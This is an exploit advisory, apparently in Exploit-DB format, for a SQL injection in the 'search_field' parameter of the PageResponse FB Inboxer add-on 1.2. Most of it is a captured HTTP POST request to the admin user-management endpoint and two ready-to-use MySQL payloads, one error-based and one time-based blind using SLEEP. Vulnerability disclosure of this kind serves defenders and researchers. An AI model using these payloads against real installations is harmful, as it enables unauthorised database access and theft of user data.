PageResponse FB Inboxer Add-on 1.2 - 'search_field' SQL Injection

# Exploit Title: FB Inboxer 1.2 - 'search_field' SQL Injection
# Google Dork: N/A
# Date: 02.08.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/pageresponse-a-fb-inboxer-addon-facebook-auto-commentprivate-reply-likeshare-for-full-page/21486371
# Version: 1.2
# Tested on: Kali linux
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Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'search_field' parameter in the management
panel.

# Demo : http://server/home/login
# PoC : SQLi :

http://server/admin/user_management/ajax_list_info

POST /admin/user_management/ajax_list_info HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/admin/user_management
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Cookie: ci_session=8v3965595vs5h1gcufa8kmkl8uti8ccr;
crud_page_c2dc7c9e0776f8cb12c51196de4108be=2;
per_page_c2dc7c9e0776f8cb12c51196de4108be=15;
hidden_ordering_c2dc7c9e0776f8cb12c51196de4108be=asc;
hidden_sorting_c2dc7c9e0776f8cb12c51196de4108be=id;
search_text_c2dc7c9e0776f8cb12c51196de4108be=tes;
search_field_c2dc7c9e0776f8cb12c51196de4108be=name
Connection: keep-alive
search_text=tes&search_field=name&per_page=15&order_by%5B0%5D=id&order_by%5B1%5D=asc&page=1


Parameter: search_field (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: search_text=tes&search_field=name AND (SELECT 4580 FROM(SELECT
COUNT(*),CONCAT(0x71716a7671,(SELECT
(ELT(4580=4580,1))),0x7170717671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a)&per_page=15&order_by[0]=id&order_by[1]=asc&page=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: search_text=tes&search_field=name AND
SLEEP(5)&per_page=15&order_by[0]=id&order_by[1]=asc&page=1

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